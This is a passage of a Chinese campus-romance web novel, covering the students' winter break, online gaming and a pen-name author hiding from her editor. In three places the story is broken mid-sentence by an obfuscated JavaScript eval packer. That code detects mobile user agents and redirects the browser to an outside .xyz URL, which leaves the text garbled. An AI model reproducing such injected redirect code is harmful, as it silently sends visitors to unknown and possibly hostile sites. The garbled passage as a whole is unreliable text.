Cone跟她公司合作的项目组省心省力,原本就想继续跟这个供应商合作。更何况,在项目执行期间,凌静宜指派Jacob打着项目慰问的名义送咖啡和高级零食,简直不要太上道。项目组的人都很喜欢这个供应商。 这次更别提了,原本不算公司核心项目,可每一次会议老板都参加,对接事宜亲力亲为。明眼人谁还看不出其中的玄机。 目前K.O Design中标了,即将进入全面执行阶段,可陈东尔扣住了市场部要签发的文件,“需要负责人来公司一趟。” 秘书Monica还有什么不明白的,她礼貌地要求凌静宜尽早带上项目设计文件去一趟他们公司。 至于剩下的两位,尽管考试任务不重,状态却不太正常。 郑筱毫不意外自己的成绩是年级倒数,她压根不知道自己考试的时候在想什么,没有办法集中精神。她每天早出晚归,神态萎靡。我有次意外近距离地观察了她眼底的淤青,整个宿舍里只有她的黑眼圈能跟我的相媲美。我俩可以竞争上岗国宝一号和国宝二号。 陈梦晓不知道受了什么刺激,最近一直给我们读她收到的情书,颇有闲情逸致,品评对方的遣词造句。我们集体受到了惊吓,刘小叶偷偷摸摸问我:“小陈哥是不是被那个疯女人刺激得不太正常?我们要不要带她去校医务室看看。” 在这一连串不正常的人类当中,唯一正常的居然是刘小叶。 她恢复了吃货和八卦本质,报菜名单口相声中断了一个多星期后继续登上了排片表。对于这一点,我们甚感欣慰。 新年绑架案后,叶翔和凌静宜冰释前嫌。 叶翔沉浸在爱情体验中不可自拔,他觉得自己是整个国家,哦,不,是整个世界上最幸福的人。 他以前觉得那些成天盯着手机的人都有毛病,世界上有那么多事情值得做:打球、冲浪、工作、数独、阅读、投资、旅行、购物、看电影……世界不可能只存在一部手机里,他无法理解现实中把手机当作世界的那些人。手机对他而言只是个通讯社交工具。如果有人拿他的手机屏幕分析,会惊愕地发现,他每天使用手机的时长只有三到四小时,再进一步做分析,社交(主要是通话)和播客这两类软件各占半壁江山。萧楠曾嘲笑他,只要给他一台能够通话的收音机就够了。 可现在,他也成了手机上瘾者,让他上瘾的是特定的那个人。他时不时盯着手机,他备注昵称为“未来老婆”例行公事一样的对话是他的上瘾源。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15074041|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ——“吃了吗”,午餐照片;“你呢”,食物名称配照片; ——“在学习?”,高数课本照片;“工作还是学习?”,文件夹照片/课本照片; ——“我想你了”,凌静宜的自拍照;“你想不想我?”,引用“我想你了”配爱心。 他们两周没有见面,依靠手机分享彼此琐碎的日常,虽然简短,但句句有回应。叶翔每天翻好几遍两人的对话,来来回回就那么几句,他却感觉异常快乐。这种快乐,胜过了所有其他快乐的总和。他珍藏凌静宜的自拍照和他随手拍的她的照片,累了就拿出来看一看,比咖啡还提精神。 风致公司游戏迭代新版本,还要同期做新游戏的构想,作为游戏主策和项目负责人,简瑞洺忙得不可开交,他几乎天天泡在公司里,分身乏术。他觉得纳闷,在如此高强度的工作压力下,叶翔竟然每天精神抖擞。 这几天简瑞洺在修改新的游戏规则,他想好了游戏的终极奖赏。 他所设计的游戏原本是一个不羡鸳鸯只羡仙的世界,通过升级打怪不断接近自身极限。同时,他们团队秉承“人不能成为孤岛”,小伙伴们共同进步并肩作战。这些理念都在游戏开发时体现得淋漓尽致。有必须单独完成的关卡,也有必须组队打怪的关卡。 游戏越往后的关卡越需要长时间修炼和参禅顿悟。有些玩家认为参禅和内观不重要,可团队都觉得保持专注对个体很重要。他们的游戏内核更注重自身内修,个人战力提升了,团队作战时才更容易爆出稀有道具。 有些关卡看似简单,实则暗藏凶险,往往在掉以轻心以为自己能顺利过关的时候有致命一击;而有的关卡看上去复杂困难,其实只要找到窍门,有些关卡比如禅定,只要有足够耐心待够指定时长即可通关。 虽然第一款游戏大获成功,可还是按照线性剧情发展,也就是说是由易到难,升级打Boss的套路。 而在新游戏的策划中,简瑞洺突破了这个设置,新设计出的关卡每个游戏角色所碰到的关卡不尽相同。 条条大路通罗马,所有的人物都有自己的路径可以通关,只要找到各自的“道”。每一种人物所解锁的起始关卡随机,也就是说有些角色一上来是地狱级困难模式,但这一关过了之后,一切皆坦途;还有些角色,起始局是最简单的循序渐进,最后打大Boss;另外有些角色,时易时难,关卡难度高低起伏,如连绵山脉。简单来说,这款游戏设计并不是采用线性结构,而是采用三维结构。 简瑞明最初提出这个设想时,遭到了所有人的反对。由易到难的关卡设置,以及固定的关卡排布,是整个业内不成文的规则。尤其是走剧情项的,顺势发展,层层递进。如果用户一上来就遭遇终极地狱模式,估计很多用户会直接放弃,流失率会很高。用户并不想要贴近人生的游戏体验,他们想要逃离生活,才会喜欢打游戏。 简瑞洺只用了一个词就打消了团队的疑虑:初心。他们做游戏的初衷并不是让用户逃避现实,而是让用户从游戏中汲取能量,更勇敢地面对现实。而且他准备在现在游戏发布彩蛋,让用户寻找新游戏的《通关宝典》,而这本通关宝典会把游戏人物和修道路径做若干“剧透”,用户可以在游戏开始前对游戏有所了解,再自行选择游戏人生以何种路径开局。 差不多两周时间,他完成了新游戏的框架,且对这段时间的工作成果很满意,累并快乐着。 他没有告诉团队的是,其实新游戏他设计了一个新的人物形象,她是所有游戏人物的灵感指引,随机出现,遇到她能解锁奇遇。他看着屏幕上背着大刀身着红色侠客袍的形象,脑子里出现了一个女孩……这算是他夹带私货吧。 同样沉浸在幸福中的还有陆亦。 ——什么时候放假?我去送你。 ——22号走,下午4点的车。 他盯着手机上那条微信消息,来来回回看了好几遍,不可抑制地嘴角上扬。 相比较于他们几个的意气风发,其他人就没那么幸运了。 萧楠跨年夜后意志消沉,即使建筑设计界Top 10当中8家给他发了offer,他仍然闷闷不乐。目前他拿到的Offer中,最理想的是Constantly集团旗下的建筑设计咨询公司,唯一的缺点是工作的第一年得去国外总部待一年培训。后续在中国区总部工作,在S市,距离W市2000多公里。甚至可能根据项目派驻别的城市。 欧祈端详着手里的模型,一座设计精巧的宫殿。这是他参加设计比赛的一等奖作品。他把模型翻过来,郑重而小心翼翼地在底部写了三个字,捧在手里仔细看了又看,轻轻摸了摸那三个字,然后恋恋不舍地放进了抽屉里。他和刘小叶的通话停留在跨年夜,眼神落在刘小叶一周前给他的微信留言:“等你回复”。 一月过得紧张且无趣,转眼大一上学期就要结束了。似乎大学生活尚未开始,便要落下序幕。 我想大概不是我一个人有这种感觉。我们似乎都面临着身份认同问题。 这学期只有短短三个月不到的时间,加上学校对大一新生的严格管理,我们还没有完全从高中生蜕变成大学生。可我们自由支配的时间比高中时多出很多,把时间花在哪儿成了每个人自己的课题。眼下,我们似乎处于高中和大学的夹层中,在走马观花目不暇接的大学表演中,找寻属于自己的位置。我们就像一群从出生就关在笼子里喂养的鸭子突然被放生了,看似进入了一片原野,却不知道该如何撒欢儿。我们需要时间适应变化。 终于放假了,我拖着箱子走出校门,校门口那株高大的木棉树上晃悠悠落下一片叶子。抬头看,它的叶子已然七零八落。据说,木棉花与其他植物不同,叶落尽而花开,待花落而生叶。它是先开花后长叶的植物。开花时火红一片,如同青春,肆意张扬,而后沉淀吐故纳新。 下学期返校时,它应该开花了吧? 静待花开,缓缓可归。 55.番外:周小西的寒假生活-1 我直挺挺地躺在沙发上,累得像一条泡发了的海带。迷迷糊糊间听到我妈发出一声尖叫:“Oh my god, Monica,沙发上那一堆玩意儿是什么?!赶紧把它清理出去!” 真怀疑眼前的人是不是我的亲妈。她居然连自己的亲闺蜜都认不出!听听她用的形容词——那一堆玩意儿! 为了不引起她们的怀疑,我生平第一次坐了超过十个小时的火车回家。天知道怎么会有那么多人乘火车,我算是见识了中国一年一度人口大迁徙的力度。 其实,在此之前已经初见端倪,只是我没仔细想——学校办理火车票优惠卡的队伍比图书馆占位的队伍还长,而我特别讨厌排队。我第一次去看了一眼就调头走了,打算无限期拖延。差不多把这事儿拖黄了,许苑薇终于忍受不了,硬把我拖去了学生事务处。那时还有一天截止办理优惠卡,她喜不自胜地嘟囔“幸好赶上了”,而我在心里哀叹:为五斗米折腰的日子可真不好过。 从W市到M市的高铁还没通,一天只有两趟绿皮火车。我买的是晚上8点多的那趟,根据她们的友情提示,提前两个小时到了火车站。我被人山人海的景象吓到了,安检的队伍绕了好几圈。再挤出去太困难了,否则我想直奔机场。 检票后,一群人站在冷风中等火车进站。 火车一停稳,所有人奔跑起来,我被裹挟着一路往前奔。上火车更可怕,没有人好好排队,拼命往前挤压。排在我后面的彪形大汉拎着两个大麻袋,肩上还挂着好几个编织袋,他在后面拼命推推搡搡,我被推上了车。更夸张的是,有人是从窗户里爬进车厢的! 我当时没想到,这只是刷新我认知下限的第一步。接下来的十个多小时,我见识了人类极度顽强的生存和适应能力:椅子下面,过道中间……你能看到和想到的地方,全都是以各种形态半歪半躺的人。通往厕所的路上挤满了人,去一次洗手间相当于一次二万五千里长征,洗手间门口无处下脚,挤满了焦急等待的人。有个洗手间半天没有人出来,有人大概憋不住了,找了乘务员开门,居然有人锁了门睡在里面! 完全没经验的我喝了不少水,挪到厕所旁边焦急地等待。终于轮到我了,开心的情绪还没维持一秒,我即刻被现实的臭味熏得想呕吐。捏着鼻子上完厕所挪回位置时,有个中年男人一动不动坐在我的位置上,无视我站在旁边。十几分钟后,我实在忍不住了,“不好意思,这是我的位置!”他装作没有听见。我提高声音,“这是我的位置,麻烦你让一下!”他才不情不愿地走开了,“就坐一会儿,大呼小叫什么!” 后来,我连一口水都不敢再喝,趴在狭窄的桌子上打瞌睡。 在这种极度恶劣的环境下,居然还有人有心情搭讪。 我的对面坐了一个长满了青春痘的男生,留着中分,不知道几天没洗头了,头发一缕一缕地贴在头上。他一直试图向我展示自己的博闻强识,不停在说话的缝隙里插进一句“如果你掉进了黑暗,你能做的,不过是静心等待,直到你的双眼适应黑暗”或者“总之岁月漫长,然而值得等待”,丝毫不理会自己创造的上下文语境多么的格格不入。 我遏制住想用杯子砸他的冲动,轻描淡写面带微笑,问:“胡里奥和萨德,你更欣赏谁?” 他一脸茫然,在短暂的困顿后终于意识到这是我委婉的拒绝。他愤恨地闭了嘴,举起手机挡在面前。过了几分钟,他声情并茂地朗读了莎士比亚的名句——女人啊,你的名字是脆弱。 我寒假里在宿舍群里说起这段奇葩经历,凌静宜的评论只有一句:“虽然我很欣赏那个胡里奥和萨德的梗,但你怎么没打死他?!!” 我下车时,手机已经完全没电了。幸好我带了钱包,还能打车回家。 跋山涉水,我累得只想原地躺下。所以我自甘堕落,躺倒在客厅沙发上,随便扯了条毛毯和几件衣服盖在身上。 …… 我妈把我从沙发上拉起来,脸上的面膜差点啪嗒掉我脸上。我赶紧伸出手挡住向我飞奔而来的白色物体,抱怨道:“妈,你能不能放过我?让我好好睡一觉,我太累了!” “你穿的都是些什么?”我妈开启了她审视的雷达,“材质很一般,这种款式我年轻的时候都不会穿!” “妈,你这就不懂了吧?这是我融入新生活的武器。”我对自己的选择佩服地五体投地,要不是我换掉了所有我妈给我准备的行头,想以平常人的姿态融入学校生活是绝无可能的。 我妈像看神经病一样地看了我半天,然后问:“所以LV和Prada到底怎么妨碍你了?利伟,快来看看你女儿!” 我爸从书房里踱步出来,一脸诧异地问:“小西,你什么时候回来的?我刚刚在客厅里没看到你啊!” 欲哭无泪,我在这个家里的存在感已经接近于零了。 我妈同情地看着我,拍着我身上子虚乌有的毛絮,说:“你爸年纪大了,眼神不太好。” 无论如何,经过漫长的煎熬,我终于到家了。躺倒在沙发上的瞬间,我从地狱回到了人间;睡在自己那张King size的大床上,我从人间到了天堂。如果可以,我想24小时赖在床上。窝在床上,用Marc上网,我感到了前所未有的幸福。 只是,幸福消散得太快。在家里待了三天之后,我开始觉得空虚:爸妈没有因为我回来改变他们的日程,我仍然得遵守早上7点起床的规矩。没有人跟我一起吃午餐,没有人陪我消磨时间。家里空空荡荡的,最热闹的是我的微信,不间歇地弹出各种消息。 ——你们都到家了没?春运人太多了,都快挤死了。 看来许苑薇从期末考试的阴影中挣脱出来了。 ——许许,你是不是挤傻了?我和凌静宜都是W市人,小西回家那天我就到家了。我正啃鸭脖子呢,幸好不用赶春运。 ——不用春运的人最幸福。 接下来,刘小叶在群里挨个@了我们——小西,郑筱,小陈哥,你们安全到家了吗? ——小陈哥这个时候哪还有空搭理你,假期如此宝贵,她肯定忙着打游戏呢。 果然,陈梦晓过了很久之后才回了一条消息。 ——别提了,我的心肝脾肺肾都要被挤炸了。哎,我哥烦死了,他一直要带我升级。鬼才要他带,不说了,队友在线等。 ——小陈哥,你居然还有哥哥?!长得帅不帅?你们俩谁更帅? —— 小西大概还没缓过来吧,凌静宜怎么也没动静? ——我在办公室,要改个PPT。明天我还得去做个Presentation。不说了,有事电话。 “到家了,累!”发完后我没再关注群消息,无暇跟她们闲聊,端坐在床上对着邮件发呆。 放假前我从图书馆借了六本书,不辞辛劳地带回来,可在家一页都没翻过。没有心情。 实际上,在我到家的第二天就收到了《N.Z》的催稿邮件。 Jessica大概是撒切尔夫人的后裔,铁血,铁腕,铁石心肠。她洋洋洒洒地写了一大堆关于作者的责任感、读者的期待以及未来事业的进一步发展等很虚无缥缈的内容,其实内涵言简意赅:要么交稿,要么狗带。她就差指着我的鼻子骂:“陆星洺,你这个不负责任的渣男,抛弃专栏,抛弃读者,如果不交稿,你就去死吧。” 我合上电脑,内心绝望:不是我不愿意交稿,可我眼下脑袋空空。我严肃认真地考虑刘小叶说的体验生活。 郑筱一直没冒泡。她比我走得晚,好像是最后一个走的。许苑薇约她一起去买火车票时,她支支吾吾说还没定回家的时间。我猜她可能要打寒假工,拉住了极力想说服她的许苑薇。 刘小叶的私信弹出来时,我已经在网上看了一圈兼职了,M市除了送外卖和发传单之外,没有什么正经的实习岗位。偶尔有一两家单位要实习生,也用下划线标注了“每周五天,最少实习三个月”——非常强烈且直白地表达了“我们很缺人,但我们只想要稳定的廉价劳动力”的意图。倒是有一家公司招聘市场部实习生,是假期工性质,只要求做事认真仔细,勤奋好学。我正准备厚着脸皮投个简历,看了一眼公司名字后立马放弃了。没错,那是我爸的公司B·K,我可不想自投罗网。 我叹了口气,生无可恋地倒在床上继续看《Vogue》。 ——小西,你在干嘛?我好无聊哦!!! ——欧祈没跟你在一起吗? ——他找了家公司实习,我在星巴克等他下班。 对了,刘小叶跟欧祈终于和好了。我的内心欢欣鼓舞,这意味着再也不用面对如怨妇一样的刘小叶了。 咦?我怎么没想到!W市的实习机会肯定比M市多很多!刘小叶提醒了我。 我把招聘网站上的城市转到W市,果然满屏都是实习生招聘。可惜大多数也要求能够实习三个月,每周至少工作3天,甚至有的公司直接写明要大三大四学生。 深刻的无力感击中了我,我抱着最后一丝希望去刷学校BBS。 半个小时过去了,我还是没找到合适的实习。漫无目的闲逛了一会儿,我发了个求工作的帖子。然后打开了《世外仙侣》游戏,也许是放假的缘故,在线的人格外多。 我在打游戏方面没有任何天赋,甚至可以说是菜鸡中的战斗机。加上大半个月没登录,游戏经验值也很低。陈梦晓告诉我可以买装备,可我觉得人民币玩家等同于暴发户,全靠钱砸出来,没有任何技能输出。她说金钱外挂是一种很有效的外挂,随后又叹气说可惜我们都是穷学生。我装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079432|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模做样地附和了她,然后转到了其他话题。 在线以龟速刷经验值,没想到居然有人加我好友。附加的私信内容是“组队打怪”。我看了一眼他的等级,倒吸一口气。再看了一眼他的装备情况,再倒吸一口气。这位仁兄的经验值、段位和装备差不多顶配,胜率极高。 我揉了揉眼睛,怀疑自己出了幻觉。如果是技术型选手,那就是大神;如果是人民币玩家,那他应该非常有钱。无论是哪一种,除非脑子被门挤了,才会挑我这样的菜鸟组队。换个角度看,在日均超200万在线人数的爆款游戏里,被大神挑中一起打怪,我得占多大便宜?!如果李离此刻在我身边,她会建议我马上去买彩票。 然而,我玩这个游戏的目的和升级拿装备没关系,这只是我了解简瑞洺的途径:从报道上看到他的公司名和游戏名称后,我就下载了《世外仙侣》,闲来无事就在游戏里闲逛,看一看他建造的虚拟世界,揣测他会不会将现实中的自己投影到游戏设计当中。有时候,我幻想或许哪一天我能和他并肩打怪。必须承认我很无聊,可我还没无聊到相信天上掉馅饼。所以我毫不犹豫地勾选了拒绝。 两秒钟后,一封私信弹了出来,只有两个字:“理由?” 我没有回答他,在对话框里输入了两个字:“理由?” “我跟朋友打了个赌,证明自己能把菜鸟带成高手。”没有丝毫停顿,一条消息弹了出来。 差点没让我呕出血来,就算我是菜鸟,也不用当着我的面说吧?!况且搞不好他就一个二世祖人民币玩家,谁知道技术会不会比我还烂!!! “通常自己封神的都是2倍速菜鸟!”我忿忿不平地敲打了回车键。 “自己验证真伪。”又一条加好友申请。然后他的头像灰了。 一腔愤懑无处宣泄,就像水要煮开了壶口被堵上了,我快炸了。 正准备狠狠按鼠标再次拒绝,突然一个念头闪过:万一他是真的大神呢?这种段位的人物,有没有可能认识简瑞铭?如果是真的大神,常打游戏的人应该都知道吧?我身边打游戏的只有小陈哥。至于其他人,不仅不打游戏,而且妥妥的电脑白痴,她们跟电脑的相处模式是:我的电脑死机了,怎么办怎么办?!我好歹还知道重启试试看。 拐弯抹角地表达了我的诉求,陈梦晓漫不经心地回答:“这还不简单,把他ID给我,我帮你查。” 十秒钟不到,陈梦晓回了信息,“我靠!真是个大神。你居然不知道他是谁?” 她给我扔过来两张截图,一张是游戏排行榜,另一张是全服公告。这家伙常年霸榜,经常全服通报通关获得稀有装备。 “你刚才说……你拒绝了他?!周小西,你知不知道有多少人想抱他大腿?那是货真价实的大粗腿!!”隔着语音电话,我都能看见她痛心疾首的表情。 “他后面又发了一条,我还没来得及……” “通过!通过!” 接下来,小陈哥问了我的账号,迅速加了我好友,验证信息是“小西,求带见大神,拜托拜托……”我深刻怀疑,她恨不得从电话里伸出手来,抓住我的手移动鼠标,重重地点击在“通过”选项上。 后来我们才知道,我们果然太天真,从千千万万的人里被随机选中的概率不亚于火星撞地球时侥幸生还。一切的巧合都是蓄谋已久。当然这是后话。 眼下,我只是愤慨地点击了“接受”,然后深深鄙视自己。转念一想,不能为难自己:为一个莫名其妙的人生莫名其妙的气,还不如去写要死要活的连载。 小陈哥发了个鄙视的表情给我,“小西,你的这个水平……我提前为大神默哀三秒钟……” “那组队我不喊你,免得拖累你。”真是让人生气,游戏打得菜又不犯法。 “别啊别啊……我刚刚开玩笑的!!反正没事,我先带你升升级吧。连麦连麦……” 一开始,小陈哥信心满满,她夸下海口,“今天至少带你升两级,提高下胜率。”才打了两局,她的语气逐渐暴躁,“走位呀!放技能!放技能!!出大招啊!!!啊!又死了。” 别说连升两级,她的胜率都被我拖累了。 “我们今天……要不先练到这吧?等明天我找个帮手一起来带你。”我觉得她已经要气晕过去了,现在肯定后悔为什么要带我打游戏。 我十分心虚,买了两个装备送给她。 瞬间,陈梦晓开心了,“哎呀,怎么还送礼物呢?这俩挺贵的呢!” “上学期生活费没用完,不能让爸妈发现。”我撒了个谎。 “嘿嘿,那我就厚颜无耻收了。回头你熟悉下放大招的操作,明天我让我哥带你练。” 说完她就下线了,我还没来得及告诉她,明天……我不能上线。 56.番外:周小西的寒假生活-2 给陈梦晓留了言,我继续在网上找实习机会。突然看到一条招聘信息:Monster Cone招实习生,头衔是总裁办公室行政助理。 这个公司名字有点耳熟,我上网百度了一下,居然是家跨国大公司。我抱着随便试试看的态度投了简历,因为没有实习经验和社团活动经历作为加分项,我心虚地标红了自己的期末成绩。 吃晚饭的时候,我提了一嘴M市实习资源的匮乏,我爸说我要真想实习可以去他公司。我含混地敷衍过去了,心想我傻了才会去他公司实习,他以为他们公司有谁不认识我?真去了大概没人会指派我干活,我只能在他办公室里看小说打游戏。 Jessica周五一早就开始对我连环夺命call,大概是因为我没有回复她那封“感人肺腑上价值”的邮件。(自从上次误接了她的电话后,我把她的电话设置成“危险!别接!”)她真不愧是铁娘子,以每小时十个电话的频率持续拨打了四个小时,每一次直到最后一声才挂断。我甚至考虑买个变声器来应付她,告诉她我病得快死了,真的交不了稿。 我哆嗦着开了飞行模式,同时默默为Jessica祷告,希望她不要有个穷凶极恶的老板。幸好我的微信关闭了电话搜索添加的功能,Jessica除了电话和邮件,没有其他方式能联系到我。我甚至连邮箱都不敢开,Jessica的连环邮件给我造成了心理阴影。 不得不说,她的邮件展示了《N.Z》对员工多样性的包容,我基本上可以从她的邮件里判断出她当时的心情。 ——陆星洺先生,这是您拖稿的第一天,我希望拖稿不会成为您的日常。 理智尚存的人值得被尊重。 ——陆星洺,你不是第一个拖稿的,也不会成为最后一个拖稿的作家。 感谢Jessica的信息,让我知道,原来在拖稿的道路上,我并不孤独。 ——陆星洺,你再不交稿,相不相信我冲到你家去??! 大概她离崩溃的边缘也不远了。 BTW,我才不担心,毕竟她连我的真名都不知道。 ——陆星洺先生,我为我这两天激烈的措辞表示最深刻的歉意。请您去看一看《N.Z》电子专栏上粉丝们的热切,深切地希望您意识到作为一个作家的责任心与荣誉感。最后,我诚挚地希望您慎重考虑自己的职业生涯。 这就是那封让我觉得“要么交稿,要么狗带”的邮件。 事实上,在读完这些邮件之后,我的第一反应是去搜索那些一直拖稿的作家结局。感谢Jessica让我真切地明白了两个真理: 一、没拖过稿的作家人生是不完整的; 二、伟大的作家全都拖过稿。 我用家里的固定电话给李离打了个电话,她在挂断了三次之后终于接了。 她接起来之后一本正经地问:“喂,你好!请问哪位?” “是我。别装正经了。”我被电话那头大义凛然的口气颤出了一身鸡皮疙瘩。 “卧槽,我还以为是什么垃圾电话。这年头,谁家还留着固定电话?” “我家。”随后,我云淡风轻地问:“如果陆星洺决定不写的话,你怎么想?” “他敢!!!”电话里突然拔高的声音差点吓得我把话筒扔了,“我好不容易看得下去一位作家写的东西,他就敢太监?简直是不想活了!” 我吓得一个哆嗦,颤抖着说:“这也得尊重当事人的意见吧?” 李离义正言辞地表明了她的态度,“对于作者来说,读者的态度才是他应该考虑的意见。” 脑袋嗡嗡作响,我觉得头要炸了。凭什么我得承受这个压力?!我突然对坊间广泛流传的论调“如果能以兴趣作为工作,那该多么幸福”产生了强烈怀疑,当兴趣成为了工作,我原先从中获得的乐趣消失了,它成为了扼制自由的枷锁。如果我完全没有羞耻心,滥竽充数只要求完成,那不会有如此的压力。可是,这完全违背了我的初衷,如果当作一个任务,创作对我来说丧失了意义。 思绪来回拉扯,李离的声音从话筒里传出来,“你怎么突然问起陆星洺来了?小西,你是不是知道什么内幕消息?” “嗯?没有。” 不奇怪她会如此猜想,我爸近两年涉足艺术文娱产业,他在家从来不谈八卦,只是在我妈对某个小鲜肉表现赞赏时告诉她一堆明星负面。我怀疑我爸是嫉妒心作祟,可我没有证据。李离从我这或多或少知道了一些明星轶闻。 “今天要不出来见个面?”我猜,李离的八卦基因蠢蠢欲动,我能想见,她肯定会就陆星洺刨根问底。 “不了。”我捂住头,快原地爆炸了,“我头疼!” 她微不可察地叹了口气,“那你注意休息。我本来想……算了,等你好了再说。” 在这种超越了能够承受的巨大压力下,我滋生出自暴自弃的情绪——反正陆星铭要消失非常容易,连注销手机号码都不用。让杜撰出来的虚拟人物就此消失,既不犯法也没有道德困扰。大不了,我让他消失。 叮咚一声,邮箱提示有新邮件进来。我做了几次心理建设之后,叹了口气,认命点开——除了Jessica还会有谁给我发邮件呢?!逃避有用,可效力有限。我不能无止境逃避下去。 “陆星洺先生,如果你仍然质疑自己的影响力,可以去看一看《N.Z》为你建的官方微博,账号名是:暗夜乌托邦黎岛。” 我第一次知道自己,哦,不,陆星洺居然有一个别人在运营的微博账号。 微博号上没有任何关于陆星洺个人的东西(这很正常,陆星洺的神秘是魅力的一部分),基本上是小说中节选的片段。这个微博账号关注的人数很多,我觉得诧异,这些刊登在杂志上的内容对大众能有什么吸引力?仔细研究才发现端倪:时间。节选片段基本在出版前,起到类似于电影预告片的作用。 还有一些Jessica跟我在邮件中探讨的新篇章设想,有些最终出现在小说中,而有些只停留在设想阶段——这种事情屡见不鲜,即使是作者本人,也没办法逼着主人公完全按最初的设想走下去。 我一条一条读着评论。 ——星大仿佛不是在写现实主义的故事,而是在写科幻小说。在遥远的未来,世界对个人的判断不再把性别作为考量因素,而是以每一个人的能力和德行作为选拔评价的标准。这真的有可能实现吗? ——黎岛是一个乌托邦,羡慕那些黎岛的人民,他们能生活在理想国。现实远远不是这样。但我真希望这样的乌托邦存在。 ——我是一个从小就被不寄予希望的女孩,一直觉得自己没有价值。可星大笔下的女主太勇敢,她做了所有我想要做却不敢做的事情。感谢星大,我会继续追逐着我的梦想,就像向日葵永远向着太阳。 ——星大考虑写科幻吗? 似乎有一个既陌生又熟悉的声音在耳边说话,“你真的愿意一手毁掉自己建立的一切,让所有喜欢陆星洺的人失望吗?”在这个瞬间,我觉得并不是我主宰着陆星洺,而是他控制着我。他努力想要挣脱束缚,叫嚣呐喊“你不是我,你无权替我做出决定”。我不知道,是否在赋予笔下人物个性的同时,也滋养着他的自我意识增长? To be or not to be,连莎士比亚那么伟大的作家都决定不了的事情,区区的一个周小西,怎会有答案? 我向床上倒去,把自己埋进舒适的羽绒被里,大喊大叫,“我写不出来!我还要不要继续写?!我不想写了!啊!!!” 隔壁传来优雅老妈秒变后妈的暴躁呼喝声,“周小西!安静!” 我把自己整个裹进被子里,噤声。忘记了今天是我妈的冥想日——每个月的倒数第八天,我妈会在我房间隔壁的小会议室里做一个小时的冥想。为什么挑这个日子,我不知道;为什么冥想还这么暴躁,我也不知道。 放空片刻,我从被子坐起来,赤着脚一步一挪走到书桌前。我说服自己,只要我坐下来开始写,就能写出让自己满意的文字。深深地呼吸,搜肠刮肚,想象人物的高光时刻,他们要如何从平凡普通走向高光,再一个字一个字敲出来。可这不足以形成完整的故事。 我命令自己在灵感枯竭时至少写两千字,不管写得怎么样,就算是垃圾也先写下来。 Jessica没有再打电话,也没有再发邮件,给了我喘息的时间。 我卡在一千多字,情节往下推进不了。我决定出门呼吸新鲜空气,换换脑子。 顺便沿途办张新电话卡,我准备把新号码提供给Jessica,告诉她原号码已经不再使用。这样,既能不干扰我的正常生活,又能对这段时间不接电话自圆其说。我突然理解为什么凌静宜有两部手机。接下来的问题是,我从哪儿搞一部旧手机。以前我没关注过爸妈如何处理旧手机。 此时,我没意识到自己已经有了答案;也没有意识自己低估了追稿的编辑有多么丧心病狂。 接下来的两天,我每天准时6点起床,情况好的时候坐上几个小时,文字能够顺利流淌出来;情况不好的时候写了删,删了再写,到夜半时分也能完成当天的任务。梦里面不是在读催稿邮件就是在接催稿电话。 在催稿和每天6点起床的摧残下,我精神倦怠,黑眼圈浓重。 李离又约了我两次,我说年后见,没想到直至假期结束我们也没见上。 无论有多么不想面对,截稿日依旧按照自己的节奏没有任何拖延地来了。周日一早,九点开始,我的电话又快被Jessica打爆了,电话满屏幕鲜红的未接来电。 开启静音,我把手机扔在旁边。以两个章节的篇幅攻克了新小说最难的开头。重新读了一遍这两天起早贪黑的劳动成果,不是太满意,勉强可以打个及格分。按下发送键之前,我深吸了几口气。以一种豁出去的心态狠狠地按下了鼠标。 我不知道,在邮件的那一头,Jessica像火烧屁股一样隔五分钟刷新邮箱。她的脸色惨白,双手发抖,声音发颤,“陆星铭放鸽子了,他还没有交稿!我们要怎么办??!”“什么?用别的稿子顶?!你去跟老板汇报吗?!你知道有多少人是为了读他的连载才持续购买我们杂志的吗?!”“开天窗?!想死出门左转上天台!别捎带上我!” “用什么内容顶他这一期的连载?”尽管她才吼过助理编辑,可开天窗真的会让她死无葬身之地,她的脑子飞速运转,思考可以用什么内容蒙混过关。 其实上一期陆星洺的连载结束,业已敬告读者,可陆星洺眼下是《N.Z》的销量保证。完结当天,读者专用邮箱里挤满了读者来信,全都在问陆星洺的新作品规划。她曾经试探过他,让他写番外或创作心得,对方没有拒绝她。在她的字典里,没有明确拒绝即代表同意。她不想承认自己急功近利,甚至有豪赌的成分——陆星洺是她挖掘出的新星,冉冉升起,不仅为自己赢得了声名,也照亮了她的前途。杂志社每年晋升的名额有限,错过了今年六月,下一次不知道要等到什么时候。 抱有侥幸心理的结果,就是眼下所有人被架在火上烤。她不断给陆星洺施加压力,对方一味逃避。 Je ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15085855|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 